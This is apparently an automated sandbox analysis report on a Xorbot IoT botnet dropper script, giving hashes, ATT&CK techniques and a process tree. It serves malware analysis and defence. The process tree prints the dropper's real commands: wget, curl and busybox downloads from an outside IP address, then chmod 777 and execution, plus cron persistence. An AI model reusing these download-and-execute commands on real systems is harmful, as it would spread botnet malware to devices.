xorbot | e17dd81abd3d1216c664da373722d03d838c2e3370474bed8a97c190dfff246f

Analysis

max time kernel
149s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/01/2025, 17:07

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General

Target
bins.sh
Size 10KB
Sample250127-vmze6aymfx
SHA256 e17dd81abd3d1216c664da373722d03d838c2e3370474bed8a97c190dfff246f
MD5 b8cadc7d1f024bd1d94a2be56237099e
SHA1 7f144cc78d95d01e29eec6a8340af93e3cdf349c
SHA512 1315ab1a4f854e1f8eba47c89d2f05c4ba7b554a52de79582ad09a909f762ad5dd0ced5e81ebe3e9bf8d2af54db8e5e9b1702cb60e74cd00fa0c1cbf1a3f9bc4
SSDEEP 192:VncVAUOw7bz0LCLKL+LRL1LbASAUMEb4LCLKL+LRL1L6:VcIw702WKtZXAR2WKtZG
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
698	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT	699	bins.sh

Renames itself 1 IoCs

pid	Process
700	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RpdXih	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/15/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/740/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/17/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/663/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/713/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/808/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/814/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/22/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/24/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/655/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/661/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/675/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/739/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/797/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/16/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/27/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/618/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/656/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/20/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/109/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/274/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/707/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/712/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/21/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/339/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/665/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/715/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/772/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/782/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/800/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/803/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/8/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/43/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/709/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/711/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/760/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/18/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/706/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/727/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/23/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/730/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/791/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/6/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/758/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/10/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/723/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/729/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/768/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/778/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/11/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/97/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/138/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/744/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/774/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/780/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/165/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/720/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/721/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/728/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
File opened for reading	/proc/742/cmdline	5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT	wget
File opened for modification	/tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT	curl
File opened for modification	/tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:663
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:666
- /usr/bin/wget
  wget http://94.154.35.94/bins/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
  2⤵
  - Writes file to tmp directory
  PID:671
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:689
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
  2⤵
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
  ./5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:699
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:701
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:702
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:703
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:704
- /bin/rm
  rm 5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
  2⤵
  PID:706
- /usr/bin/wget
  wget http://94.154.35.94/bins/Czr0EzPahrDJYSfzYt3zTllmzQHwlSvaxe
  2⤵
  PID:709

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT

Path /tmp/5wTWEEUGC3NuisG7ZyOhSNkSii1mxsZcCT
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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tmp.RpdXih

Path /var/spool/cron/crontabs/tmp.RpdXih
Size 210B
SHA256 2c7f7243aa8d57c63fcf61ba7b51fa175ea51db88d3b1aa02b8cd42b65597c63
MD5 a29e47837784048a1c1f4a4b0179d4b8
SHA1 7fb4a9c4d7f0508d1667f81654ae835233ae7537
SHA512 b22008e0b578c9cc6a7f5f31e20eda461da0fa7f73121d01f2fe90d0043dba23a77bbdffe08094924f0f3917bf43890b77796c962bfa12b8a41ba6a7608824b7
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads